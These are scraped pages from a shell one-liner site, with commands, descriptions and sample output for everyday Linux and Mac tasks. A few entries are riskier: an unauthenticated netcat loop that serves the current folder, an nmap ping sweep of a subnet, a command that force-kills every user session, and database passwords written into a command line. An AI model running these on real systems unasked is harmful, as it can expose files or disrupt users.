rm -r $d; eject } Functions: cdrecord eject mkdir rm sudo Burn an audio CD. My variation on an audio burning command from commandlinefu - this one doesn't crap out if you want to burn a CD in a directory whose permissions don't allow it, and instead rips everything to /tmp. If you mount your music partition like I do using Samba, you probably don't have write permission inside that file system in order to create the temporary directory other audio burning commands here use. Not a bad idea to add cdrom to your groups, and /bin/eject with visudo. echo $PWD/* Using just globing tail -n0 -f /var/log/messages | while read line; do notify-send "System Message" "$line"; done Functions: read tail show each new entry in system messages as a popup It willl popup a message for each new entry in /var/log/messages found on the notify-send howto page on ubuntuforums.org. Posted here only because it is one of the favourites of mine. rename 's/\.jpeg/\.jpg/' *.jpeg; rename 's/\.JPG/\.jpg/' *.JPG for file in $(find ~/ -iname "*.mp3");do c=$(mp3info $file|grep Genre|cut -f 3 -d :|cut -f 2 -d " ");if [ -z "$c" ];then c="Uncategorized";fi;if [ ! -e $c ];then touch $c.m3u;fi;echo "$file">>$c.m3u;done ls -al total 40 drwxr-xr-x 2 alex alex 4096 2010-12-13 14:40 . drwxr-xr-x 96 alex alex 16384 2010-12-13 14:15 .. -rw-r--r-- 1 alex alex 1426 2010-12-13 14:40 Blues.m3u -rw-r--r-- 1 alex alex 3668 2010-12-13 14:40 Other.m3u -rw-r--r-- 1 alex alex 4435 2010-12-13 14:40 Soundtrack.m3u -rw-r--r-- 1 alex alex 2375 2010-12-13 14:40 Uncategorized.m3u Functions: cut echo file find grep touch Create a simple playlist sort by Genre using mp3info echo "notify-send TimeToQuit" | at 10:22 Running a command at a specific time date -r foo Find the modified time (mtime) for a file xkill For when GUI programs stop responding.. man xkill if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi Found the same command for zsh in http://www.davidpashley.com/articles/xterm-titles-with-bash.html - changed it a bit so that the behaviour is the same ps -eo pcpu,user,pid,cmd | sort -r | head -5 Functions: head ps sort ‹ First < 159 160 161 162 163 > Last › wget `lynx --dump http://xkcd.com/|grep png` tr '[A-Za-z]' '[N-ZA-Mn-za-m]' Lrf, guvf vf n wbxr. Cyrnfr qba'g engr zr qbja. happened to find this not bad software to keep my files and folders safe! Even the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazin I noticed some spammer posted an advertisement here for "not bad" encryption. Unfortunately, their software only runs under Microsoft Windows and fails to work from the commandline. My shell script improves upon those two aspects, with no loss in security, using the exact same "military-grade" encryption technology, which has the ultra-cool codename "ROT-13". For extra security, I recommend running ROT-13 twice. filterous -dntb --tag Bash < bookmarks.xml URL: http://www.commandlinefu.com/commands/browse Title: commandlinefu Notes: Bookmark: http://delicious.com/save?url=http%3A//www.commandlinefu.com/commands/browse&hash=6084e3f34870e2432aba112ea691a6c8&edit=yes&noui=1&jump=doclose URL: http://www.redhat.com/magazine/004feb05/features/bash/ Title: How I learned to stop worrying and love the command line Notes: part 1 - Introduction Bookmark: http://delicious.com/save?url=http%3A//www.redhat.com/magazine/004feb05/features/bash/&hash=7a6a3f05316e0bf718e4a19287c3f34d&edit=yes&noui=1&jump=doclose You can install filterous with sudo apt-get install libxslt1-dev; sudo easy_install -U filterous for i in $(curl -u <username> http://app.boxee.tv/api/get_queue | xml2 | grep /boxeefeed/message/object/url | cut -d "=" -f 2,3); do get_flash_videos $i; done Gets all videos in your boxee queue with a URL associated with them and attempts to download each using get_flash_videos mplayer -vo null -vc null -ao pcm:fast:file=file.wav file.mp3; faac -b 128 -c 44100 -w file.wav Convert a mp3 file to m4a I use this to convert mp3 files to m4a files that can be used as ringtones on the iPhone. I've documented the process here: http://www.control-d.com/?p=60 killall -2 mpg321 Skip to next selection in playlist Uses process signal to play next selection cycle(){ while :;do((i++));echo -n "${3:$(($i%${#3})):1}";sleep .$(($RANDOM%$2+$1));done;} continuously print string as if being entered from the keyboard Cycles continuously through a string printing each character with a random delay less than 1 second. First parameter is min, 2nd is max. Example: 1 3 means sleep random .1 to .3. Experiment with different values. The 3rd parameter is the string. The sleep will help with battery life/power consumption. cycle 1 3 $(openssl rand 100 | xxd -p) Fans of "The Shining" might get a kick out of this: cycle 1 4 ' All work and no play makes Jack a dull boy.' php -s source.php > source.html <code><span style="color: #000000"> <span style="color: #0000BB"><?php<br />    </span><span style="color: #007700">echo </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"\n"</span><span style="color: #007700">, </span><span style="color: #DD0000">"<br />\n"</span><span style="color: #007700">, </span><span style="color: #0000BB">htmlspecialchars</span><span style="color: #007700">( </span><span style="color: #0000BB">file_get_contents</span><span style="color: #007700">(</span><span style="color: #DD0000">'php://stdin'</span><span style="color: #007700">)));<br /></span><span style="color: #0000BB">?><br /></span> </span> </code> Syntax highlight PHP source Creates HTML code from PHP source for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ; done; done neo@ubuntu:~/test$ ls test.1.gz test.4.gz neo@ubuntu:~/test$ for i in {6..1} ; do for f in *.$i.gz ; do mv "$f" "${f/.$i.gz}".$((i+1)).gz 2> /dev/null ; done; done test.2.gz test.5.gz File rotation without rename command Rotates log files with "gz"-extension in a directory for 7 days and enumerates the number in file name. i.e.: logfile.1.gz > logfile.2.gz I needed this line due to the limitations on AIX Unix systems which do not ship with the rename command. perl -mText::Highlight -E 'say Text::Highlight->new(ansi => 1)->highlight(Perl => do { local (@ARGV,$/) = shift; <> }) ' path/to/perl-file.pl function catv { egrep -v "^$|^#" ${*} ; } $ catv /tmp/test $ cat /tmp/test |catv $ cat /tmp/test # comment #bar better integration. works on all Unices works one bash and ksh. hardinfo -am benchmark.so -f html > report.html Benchmark report generator Nicely display in html format a detailed report of the machine, including cpu benchmarks. find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) | xargs wc -l | sort -n Functions: find sort wc xargs find -exec is evil since it launches a process for each file. You get the total as a bonus. Also, without -n sort will sort by lexical order (that is 9 after 10). radio() { if [ "$(pidof mpg123)" ] ; then killall mpg123; else mpg123 -q -@ http://173.236.29.51:8200 & fi } Functions: killall mpg123 Turning on and off Internet radio Place it in your bashrc and running the command radio it will turn on or off each time it runs. Only one command needed. Obviously you can set it to any station you like. Server side: while true; do tar cvzf - ./* | nc -l 2000; done, client side: nc localhost 2000 | tar xvzf - Run netcat to server files of current folder PROMPT=$'%{\e[0;32m%}%B[%b%{\e[0m%}%n%{\e[0;32m%}@%{\e[0m%}%(4c,./%1~,%~)%{\e[0;32m%}%B]%b% %(?,%{\e[0;32m%}:%)%{\e[0m%},%{\e[0;31m%}:(%{\e[0m%}) %# ' ZSH prompt. ':)' after program execution with no error, ':(' after failure. sorry for my english host $HOSTNAME|cut -d' ' -f4 Functions: cut host Using DynDNS or a similar service not only allows access to your home machine from outside without needing to know what IP the ISP has assigned to it but it also comes in handy if you want to know your external IP address. The only purpose of the sed command is to remove the leading "host.na.me has address " part from the output. If you don't need to discard it you can simply use host $HOSTNAME skill -KILL -v /dev/pts/* Functions: skill This command logs out all users - which is way more secure to use ps -ef and "grep" to kill processes. Never ever use ps -ef piped to grep to kill something. If you ever need to ps-something use the UNIX95-directive, which makes sure you will never need "grep" together with "ps". nmap -v -sP 192.168.10.0/24 | grep down | wc -l count of down available ips pdsh -R ssh -w se00[1-5] # a list of host names [hyhu@sgk1 ~]$ pdsh -R ssh -w se00[1-5] pdsh> date se005: Fri Mar 11 02:00:35 HKT 2011 se002: Fri Mar 11 01:59:46 HKT 2011 se001: Fri Mar 11 02:05:45 HKT 2011 se004: Fri Mar 11 02:00:12 HKT 2011 se003: Fri Mar 11 01:57:43 HKT 2011 pdsh> hostname se003: se003 se002: se002 se001: se001 se004: se004 se005: se005 parrallel execution of a command on remote hosts by ssh or rsh or ... parrallel execution of a command on remote host by ssh or rsh or ... very useful for cluster management (software update) alias cdd="history -a && grep '^ *[0-9]* *cd ' ~/.bash_history| tail -10 >>~/.bash_history && history -r ~/.bash_history" Easy way to scroll up und down to change to one of n last visited directories. This alias is meant to append n (here is n=10) most recently used cd commands to the bottom of history file. This way you can easily change to one of previous visited directories simply by hitting 1-10 times arrow up key. Hint: You can make more aliases implying the same rule for any set of frequently used long and complex commands like: mkisof, rdesktop, gpg... for f in *.jar; do if jar -tf $f | grep -q javax.servlet; then echo $f; fi; done javax.jsp_1.1.0.0_2-1.jar javax.servlet_1.0.0.0_2-5.jar Find file containing namespace in a directory of jar files. You could subsitute javax.servlet for any namespace you need. ssh-keygen -T moduli-2048 -f /tmp/moduli-2048.candidates test moduli file generated for openssh this command test the moduli file generated by the command ssh-keygen -G /tmp/moduli-2048.candidates -b 2048 . The test can be long depend of your cpu power , around 5 minutes to 30 minutes buf () { filename=$1; filetime=$(date +%Y%m%d_%H%M%S); cp ${filename} ${filename}_${filetime}; } buf myfile.txt This is useful when you are making small but frequent changes to a file. It keeps things organised and clear for another administrator to see what changed and at what time. An overview of changes can be deduced using a simple: ls -ltr while read l; do echo -e "$RANDOM\t$l"; done | sort -n | cut -f 2 Functions: cut echo read sort Poor man's unsort (randomize lines) ‹ First < 160 161 162 163 164 > Last › pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; } tardis ~ $ echo $PATH /home/wam/bin:/usr/local/bin:/usr/local/sbin:/usr/local/etc:/usr/local/lib:/bin:/etc:/usr/sbin:/sbin:/usr/bin:/usr/X11R6/bin:/usr/bin/X11 tardis ~ $ pathrm /usr/local/bin /home/wam/bin:/usr/local/sbin:/usr/local/etc:/usr/local/lib:/bin:/etc:/usr/sbin:/sbin:/usr/bin:/usr/X11R6/bin:/usr/bin/X11 tardis ~ $ pathrm ~/bin /usr/local/sbin:/usr/local/etc:/usr/local/lib:/bin:/etc:/usr/sbin:/sbin:/usr/bin:/usr/X11R6/bin:/usr/bin/X11 Function to remove a directory from your PATH Function to remove a specified path from your PATH environment variable. wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;" | while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtk-dialog-info "RandomFunFact" "$FUNFACT"; done Functions: grep read sed wc wget extension to tali713's random fact generator. It takes the output & sends it to notify-osd. Display time is proportional to the lengh of the fact. perl -MDigest::SHA -e 'print substr( Digest::SHA::sha256_base64( time() ), 0, $ARGV[0] ) . "\n"' <length> nqSj9EG1qsQ Of course you will have to install Digest::SHA and perl before this will work :) Maximum length is 43 for SHA256. If you need more, use SHA512 or the hexadecimal form: sha256_hex() ps -eo user | sort -u USER _coreaudiod _locationd _lp _mdnsresponder _spotlight _usbmuxd _windowserver _www daemon dfaulkner root Shows users and 'virtual users' on your a unix-type system Shows a list of users that currently running processes are executing as. YMMV regarding ps and it's many variants. For example, you might need: ps -axgu | cut -f1 -d' ' | sort -u rpm -e --allmatches filename.rpm Remove multiple same rpm packages If somehow if you get more than 1 same name rpm package install, then it cannot be removed by using simple rpm -e as it gives you more than one rpm matches error. The --matches will help to remove all the same name rpm packages. ls -lrt Sort files by date Show you the list of files of current directory sorted by date youngest to oldest, remove the 'r' if you want it in the otherway. su username -c "xauth add ${HOSTNAME}/unix:${DISPLAY//[a-zA-Z:_-]/} $(xauth list | grep -o '[a-zA-Z0-9_-]*\ *[0-9a-zA-Z]*$'); bash" Change user within ssh session retaining the current MIT cookie for X-forwarding When you remotely log in like "ssh -X userA:host" and become a different user with "su UserB", X-forwarding will not work anymore since /home/UserB/.Xauthority does not exist. This will use UserA's information stored in .Xauthority for UserB to enable X-forwarding. Watch http://prefetch.net/blog/index.php/2008/04/05/respect-my-xauthority/ for details. yes n | cp -p -i -r <src> <dest> Functions: cp yes nmap -v -sP 192.168.10.0/24 | grep -c down avoid wc overload ;) pidof httpd list process ids for given program mount -t smbfs //$server/share /local/mount -o rw,username=$USER Mount an smb share on linux Mount an smb share with this command. other options -ousername=$USERr,gid=$groupname,scope=rw sed '/^/R addfile' targetfile > savefile target file line 1 add file line 1 target file line 2 add file line2 target file final line add file line x Add a line from 1 file after every line of another (shuffle files together) After every line in targetfile (empty lines included) insert in a line from addfile. "Save" results to savefile. Addfile should be longer than targetfile since this doesn't loop back to the top of addfile. /^/R addfile -- says for every line that matches "has a start of line" output a line from the file addfile. > savefile (optional) -- redirect output to savefile file. awk /./ filename ?Cat and grep? You can use only grep ("grep \. filename"). Better option is awk. find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs Functions: du find gawk sort xargs A little bit smaller, faster and should handle files with special characters in the name. lsof -i tcp -i udp List open TCP/UDP ports alias ..="cd .." ...="cd ../.." ....="cd ../../.." open -a BBEdit file.sql Open a file with specified application. This command require mac os x. echo "xmms2 play" | at 6:00 Nice little alarm clock to wake you up on time (hopefully). You can also do 'echo "vlc path/to/song" | at 6:00 find directory -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END { print SUM/2^20 }' $find . -maxdepth 1 -type f | xargs ls -l | awk 'BEGIN { SUM=0} { SUM+=$5 } END { print SUM/2^20"M"}' 11.7226M Functions: awk find ls xargs calculate the total size of files in specified directory (in Megabytes) the command will calculate the size of hidden files { if (/^[A-Za-z0-9]/) { interface=$1; next } else { if (/inet [Aa][d]*r/) { split($2,ip,":") } else { next } } print interface"\t: "ip[2] } eth0 : 192.168.2.126 lo : 127.0.0.1 Get your IP addresses Shows the interface and the ip-address diff {$path1,$path2}/file_to_diff diff the same file in two directories. This is useful when you're diffing two files of the same name in radically different directory trees. For example: Set path1='/some/long/convoluted/path/to/all/of/your/source/from/a/long/dead/machine' path2='/local/version/of/same/file' then run the command. Much easier on the eyes when you're looking back across your command history, especially if you're doing the same diff over and over again. emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant) These are the packages that would be merged, in order: Calculating dependencies... done! [ebuild U ] dev-java/ant-core-1.8.1 [1.7.1-r4] USE="doc -source" 5,740 kB [ebuild U ] dev-java/ant-nodeps-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-antlr-1.8.1 [1.7.1-r1] 0 kB [ebuild U ] dev-java/ant-apache-log4j-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-apache-oro-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-apache-regexp-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-apache-resolver-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-commons-logging-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-commons-net-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-javamail-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-jdepend-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-jsch-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-junit-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-swing-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-jmf-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-apache-bcel-1.8.1 [1.7.1] 0 kB [ebuild U ] dev-java/ant-apache-bsf-1.8.1 [1.7.1-r1] USE="javascript python tcl" 0 kB [ebuild U ] dev-java/ant-trax-1.8.1 [1.7.1] 0 kB [ebuild N ] dev-java/ant-apache-xalan2-1.8.1 0 kB [ebuild U ] dev-java/ant-1.8.1 [1.7.1] USE="X antlr bcel bsf commonslogging commonsnet javamail jdepend jsch log4j oro regexp resolver -jai -jmf -testutil%" 0 kB Total: 20 packages (19 upgrades, 1 new), Size of downloads: 5,740 kB gs -sDEVICE=pswrite -sOutputFile=- -q -dNOPAUSE With-Fonts.pdf -c quit | ps2pdf - > No-Fonts.pdf Remove embedded fonts from a pdf. It's sometimes useful to strip the embedded fonts from a pdf, for importing into something like Inkscape. Be warned, this will increase the size of a pdf substantially. I tried this with only gs writing with -sDEVICE=pdfwrite but it doesn't seem to work, so I just pipe postscript output to ps2pdf for the same effect. pfiles -F /proc/* 2>/dev/null | awk '/^[0-9]+/{proc=$1};/[s]ockname: AF_INET/{print proc $0}' 10233: sockname: AF_INET 10.204.105.122 port: 13720 10276: sockname: AF_INET 10.204.105.122 port: 13720 10298: sockname: AF_INET 10.204.105.122 port: 13720 10478: sockname: AF_INET 10.204.105.122 port: 38315 10478: sockname: AF_INET 10.204.105.122 port: 38322 10697: sockname: AF_INET 10.204.105.122 port: 13720 Solaris get PID socket Command line to get which PID is opening a socket on IP and PORT. Only useful under Solaris. find . -type f | parallel -j+0 grep -i foobar Parallel does not suffer from the risk of mixing of output that xargs suffers from. -j+0 will run as many jobs in parallel as you have cores. With parallel you only need -0 (and -print0) if your filenames contain a '\n'. ‹ First < 161 162 163 164 165 > Last › svn up -r PREV # revert U index.php Updated to revision 12401. Quick and Temporary Named Commands * Add comment with # in your command * Later you can search that command on that comment with CTRL+R In the title command, you could search it later by invoking the command search tool by first typing CTRL+R and then typing "revert" convert example.png -resize 100x100! output.png Reducing image size Adding the exclamation mark to the image geometry ignores the original aspect ratio. More info about image geometry: http://www.imagemagick.org/script/command-line-processing.php#geometry tail -f /var/log/messages | while read line; do accu="$line"; while read -t 1 more; do accu=`echo -e "$accu\n$more"`; done; notify-send "Syslog" "$accu"; done Run a command for blocks of output of another command The given example collects output of the tail command: Whenever a line is emitted, further lines are collected, until no more output comes for one second. This group of lines is then sent as notification to the user. You can test the example with logger "First group"; sleep 1; logger "Second"; logger "group" sleep 3600; amixer set Master mute Functions: amixer set sleep Mute speakers after an hour Mutes the speakers after an hour, in case you fall asleep watching a video... alias pubip='GET http://www.whatismyip.com/automation/n09230945.asp && echo' Find public IP when behind a random router (also see description) gtar cpf - . | (cd /dest/directory; gtar xpf -) Copy data using gtar It copies the entire current working directory to the destination directory with compression enabled. for i in */*/*\(1\)*; do mv -f "$i" "${i/ (1)}"; done `abba/forever_gold_(disc_1__abba_gold)/19-waterloo (1).mp3' -> `abba/forever_gold_(disc_1__abba_gold)/19-waterloo.mp3' Rename duplicates from MusicBrainz Picard Renames duplicates from MusicBrainz Picard, so you get the latest copy and not a bunch of duplicates. perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' filename $ perl -MStatistics::Descriptive -alne 'my $stat = Statistics::Descriptive::Full->new; $stat->add_data(@F[1..4]); print $stat->variance' test 2.91666666666667 166.666666666667 33.3333333333333 statistics in one line In this example, file contains five columns where first column is text. Variance is calculated for columns 2 - 5 by using perl module Statistics::Descriptive. There are many more statistical functions available in the module. netstat -atn | perl -0777 -ne '@ports = /tcp.*?\:(\d+)\s+/imsg ; for $port (32768..61000) {if(!grep(/^$port$/, @ports)) { print $port; last } }' Functions: last netstat perl Not really better - just different ;) There's probably a really simple solution out there somewhere... pkill name Kill a process by its partial name pkill is a standard command and kills processes Byte part of their name. for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done One liner to parse all epubs in a directory and use the calibre ebook-convert utility to convert them to mobi format all ebook-convert -options are optional. all you really need to pass ebook-convert is the incoming and outgoing names, with extensions. Has been tested on Ubuntu 10.10 lsof | grep 'DEL.*lib' | sort -k1,1 -u Functions: grep sort Find out which process uses an old lib and needs a restart after a system update Shows the full output of lsof. cut -c 1-N Cut the first 'N' characters of a line You can also cut charactes starting from X to N. ssh -L 5900:localhost:5900 user@exampleserver.com user@exampleserver.com's password: tunnel vnc port Foward vnc securely from exampleserver.com curl www.whatismyip.com/automation/n09230945.asp Easy way to see your real external IP du -sm $dirname make -d | egrep --color -i '(considering|older|newer|remake)' $ make -d | egrep --color -i '(considering|older|newer|remake)' Considering target file `Makefile'. No need to remake target `Makefile'. Considering target file `hffcmprss'. Considering target file `hffcmprss.o'. Considering target file `common/common_types.h'. No need to remake target `common/common_types.h'. Considering target file `gnrcheap/gnrcheap.o'. No need to remake target `gnrcheap/gnrcheap.o'. Considering target file `gnrcqueue/gnrcqueue.o'. No need to remake target `gnrcqueue/gnrcqueue.o'. Considering target file `gnrclist/gnrclist.o'. No need to remake target `gnrclist/gnrclist.o'. Considering target file `gnrctree/gnrctree.o'. Must remake target `gnrctree/gnrctree.o'. gnrctree/gnrctree.c: In function ?gnrctree_bfs?: gnrctree/gnrctree.c:99: warning: suggest parentheses around assignment used as truth value Considering target file `hfftypes.h'. No need to remake target `hfftypes.h'. Considering target file `hffcmprss.h'. No need to remake target `hffcmprss.h'. Considering target file `hffcmprss.c'. No need to remake target `hffcmprss.c'. Prerequisite `common/common_types.h' is older than target `hffcmprss.o'. Prerequisite `gnrcheap/gnrcheap.o' is older than target `hffcmprss.o'. Prerequisite `gnrcqueue/gnrcqueue.o' is older than target `hffcmprss.o'. Prerequisite `gnrclist/gnrclist.o' is older than target `hffcmprss.o'. Prerequisite `gnrctree/gnrctree.o' is newer than target `hffcmprss.o'. Prerequisite `hfftypes.h' is older than target `hffcmprss.o'. Prerequisite `hffcmprss.h' is newer than target `hffcmprss.o'. Prerequisite `hffcmprss.c' is older than target `hffcmprss.o'. Prerequisite `Makefile' is older than target `hffcmprss.o'. Must remake target `hffcmprss.o'. Prerequisite `hffcmprss.o' is newer than target `hffcmprss'. Prerequisite `Makefile' is older than target `hffcmprss'. Must remake target `hffcmprss'. Functions: egrep make Say your dependencies specified in your Makefile (or dates on your source files) is causing 'make' to skip some source-files (that it should not) or on the other other end, if it is causing make to always build some source-files regardless of dates of target, then above command is handy to find out what 'make' thinks of your date v/s target date-wise or what dependencies are in make's view-point. The egrep part removes the extra noise, that you might want to avoid. which <filename> find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2 Functions: cut find head sort Print a list of the 30 last modified mp3s sorted by last first while :; do sensors|grep ^Core|while read x; do printf '% .23s\n' "$x"; done; sleep 1 && clear; done; Core 0: +52.0?C Core 1: +60.0?C Core 2: +53.0?C Core 3: +52.0?C Functions: grep printf read sleep monitor your CPU core temperatures in real time Watch the temperatures of your CPU cores in real time at the command line. Press CONTROL+C to end. GORY DETAILS: Your computer needs to support sensors (many laptops, for example, do not). You'll need to install the lm-sensors package if it isn't already installed. And it helps to run the `sensors-detect` command to set up your sensor kernel modules first. At the very end of the sensors-detect interactive shell prompt, answer YES to add the new lines to the list of kernel modules loaded at boot. mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv FLV to AVI with subtitles and forcing audio sync using mencoder Gives MPEG-4/DivX output video file ready for uploading to YouTube from FLV file downloaded from the site and your own subtitle file UTF-8 encoded. No resizing needed. (?) echo 'ibase=10; obase=2; 127' | bc % echo 'ibase=10; obase=2; 127' | bc 1111111 % echo 'ibase=2; obase=1010; 1111111' |bc 127 % echo 'ibase=16; obase=A; FFFF' | bc 65535 % echo 'ibase=8; obase=12; 377' | bc 255 Convert from a decimal number to a binary number defaults write com.apple.Dock no-glass -boolean YES; killall Dock Functions: killall write Make the Mac OS X Dock 2D once more (10.5 and above only) Mac OS X 10.5 (Leopard) introduced a new, 3D, reflective Dock. For those of us who prefer the Dock to be a little less distracting, this command is the answer. The Dock will be rendered in the same style as when pinned to the left- or right-hand side of the screen. Replace YES with NO to restore the 3D Dock. find . \( ! -name . -prune \) \( -type f -o -type l \) find . \( ! -name . -prune \) \( -type f -o -type l \) ./bosinst.data ./smit.log ./lib find only current directory (universal) you must be in the directory to analyse report all files and links in the currect directory, not recursively. this find command ahs been tested on hp-ux/linux/aix/solaris. sed -n '/regex/,$p' filename print contents of file from first match of regex to end of file Search in "filename" for the first line to match regex, and print to stdout from the matching line to the end of the file. ‹ First < 162 163 164 165 166 > Last › Ctrl+a move cursor to beginning of command line Pressing Ctrl combined with 'a' will move the cursor to the beginning of the command under bash (other shells?). I used to do this after arrowing up for the last command, then typing 'sudo ' to run the last command as root, but of course the all time greatest command here `sudo !!` is more succinct. Still Ctrl+A can be very useful when you want to edit something at/close to the beginning of the command line. qlook() { qlmanage -p "$@" >& /dev/null & } Use QuickLook from the command line without verbose output vlc screen:// :screen-fps=30 :screen-caching=100 --sout '#transcode{vcodec=mp4v,vb=4096,acodec=mpga,ab=256,scale=1,width=1280,height=800}:rtp{dst=192.168.1.2,port=1234,access=udp,mux=ts}' Stream your desktop to a remote machine. This allows you to stream your desktop using vlc to another computer, in this case, 192.168.1.2 on your local network. If you have vlc installed, your all set to try this out. To view your own desktop, just run "vlc screen://" For more info, see http://nerdlogger.com/2008/01/08/stream-your-linuxwindowsmac-desktop-as-video-using-vlc/ wodim -v dev=/dev/dvd -blank=fast Erase CD RW xmlstarlet ed -d '//comment()' $XML_FILE Functions: ed Remove comments in XML file In Redhat, xmlstarlet is called just xml which can be found in xmlstarlet RPM. dd if=/dev/zero of=testfile.txt bs=1M count=10 10+0 records in 10+0 records out 10485760 bytes (10 MB) copied, 0.038701 s, 271 MB/s Create a random file of a specific size This will create a 10 MB file named testfile.txt. Change the count parameter to change the size of the file. As one commenter pointed out, yes /dev/random can be used, but the content doesn't matter if you just need a file of a specific size for testing purposes, which is why I used /dev/zero. The file size is what matters, not the content. It's 10 MB either way. "Random" just referred to "any file - content not specific" ssh username@remotehost 'mysqldump -u <dbusername> -p<dbpassword> <dbname> tbl_name_1 tbl_name_2 tbl_name_3 | gzip -c -' | gzip -dc - | mysql -u <localusername> -p<localdbpassword> <localdbname> This version compresses the data for transport. convert -size 32x32 \( xc:red xc:green +append \) \( xc:yellow xc:blue +append \) -append output.png create a colorful 田 image dvd+rw-format /dev/dvd Erase DVD RW dd if=/dev/urandom bs=1 count=32 2>/dev/null | base64 -w 0 | rev | cut -b 2- | rev W9JOrpSYAwJ88z/0K1uL6z0vuZpBCgaMzD1pgILJQ5E Functions: cut dd rev Generate a Random Password I know there are a lot of random password generators out there, but I wanted something that put out something besides hex. Set count equal to the number of bytes you want. for f in *.eps;do ps2pdf -dEPSCrop $f `basename $f .eps`.pdf; done Convert every eps in a directory to pdf Converts every *.eps file to a *.pdf file ip link | grep 'link/ether' | awk '{print $2}' 01:23:45:67:89:ab Functions: awk grep link Get ethX mac addresses I much prefer using /sbin/ip over /sbin/ifconfig for most everything. I find the interface and output to be much more consistent and it has many abilities that ifconfig, route, etc. do not. To get the mac address for only one interface, add 'show dev [interface]' to the 'ip link' part of the command: ip link show dev eth0 | grep 'link/ether' | awk '{print $2}' . Also, both this command and the ifconfig one do not require root access to run, so the sudo is not necessary. awk '{printf("/* %02d */ %s\n", NR,$0)}' inputfile > outputfile /* 01 */ first /* 02 */ second /* 03 */ third /* 04 */ fourth /* 05 */ fifth /* 06 */ /* 07 */ seventh Add line number count as C-style comments I often find the need to number enumerations and other lists when programming. With this command, create a new file called 'inputfile' with the text you want to number. Paste the contents of 'outputfile' back into your source file and fix the tabbing if necessary. You can also change this to output hex numbering by changing the "%02d" to "%02x". If you need to start at 0 replace "NR" with "NR-1". I adapted this from http://osxdaily.com/2010/05/20/easily-add-line-numbers-to-a-text-file/. ls -dF `find . -maxdepth 1 \( -perm -1 -o \( -perm -10 -o -perm -100 \) \) -print` cp `ls -x1tr *.jpg | tail -n 1` newest.jpg Functions: cp tail get newest jpg picture in a folder search the newest *.jpg in the directory an make a copy to newest.jpg. Just change the extension to search other files. This is usefull eg. if your webcam saves all pictures in a folder and you like the put the last one on your homepage. This works even in a directory with 10000 pictures. openssl x509 -in filename.crt -noout -text view certificate details 361 sudo 167 latin 130 ll 73 apt-get 72 mcedit 55 w 51 echo 50 ssh 48 mount 48 iwlist If you use HISTTIMEFORMAT environment e.g. timestamping typed commands, $(echo "1 2 $HISTTIMEFORMAT" | wc -w) gives the number of columns that containing non-command parts per lines. It should universify this command. for p in `grep -v deinstall /var/mobile/Library/Preferences/aptbackup_dpkg-packages.txt | cut --fields=1`; do apt-get -y --force-yes install $p; done bzip2 is already the newest version. 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded. Functions: cut install aptbackup restore Use when aptbackup will not start or you just want to see what's going on. cut -c -N date | cut -c -3 Saves one character, the original is probably clearer :exe getline(1)[1:] @% Execute a file in vim with the #!/bin/interpreter in the first line ls -s | sort -nr | more find large files ps ax -L -o pid,tid,psr,pcpu,args | sort -nr -k4| head -15 | cut -c 1-90 Functions: cut head ps sort Show CPU usage for EACH cores sed i"+" file.txt | xargs echo 0 |bc 104296050 Compute the numeric sum of a file In the file data.txt there is a single column of numbers. Sed adds a "+" between lines and xargs prepares the output for bc. The "echo 0" is to avoid to have a "+" at the beginning of the line. for arq in *.png; do size=$(identify $arq | cut -f3 -d" "); [ $size == "280x190" ] || rm $arq ; done Functions: cut rm Removing images by size Removes all png files whose geometry is not 280x190 pixels git config --global --add alias.ff "pull --no-commit -v" ; git ff remote: Counting objects: 19, done. remote: Compressing objects: 100% (13/13), done. remote: Total 13 (delta 9), reused 0 (delta 0) Unpacking objects: 100% (13/13), done. From i:/rep/ap a8c4762..b7c6b0e master -> origin/master Updating a8c4762..b7c6b0e Fast forward piyo/smallscripts/{authkey.sh => authkey} | 0 2 files changed, 25 insertions(+), 15 deletions(-) (truncated) Create a git alias that will pull and fast-forward the current branch if there are no conflicts This command will first add an alias known only to git, which will allow you to pull a remote and first-forward the current branch. However, if the remote/branch and your branch have diverged, it will stop before actually trying to merge the two, so you can back out the changes. 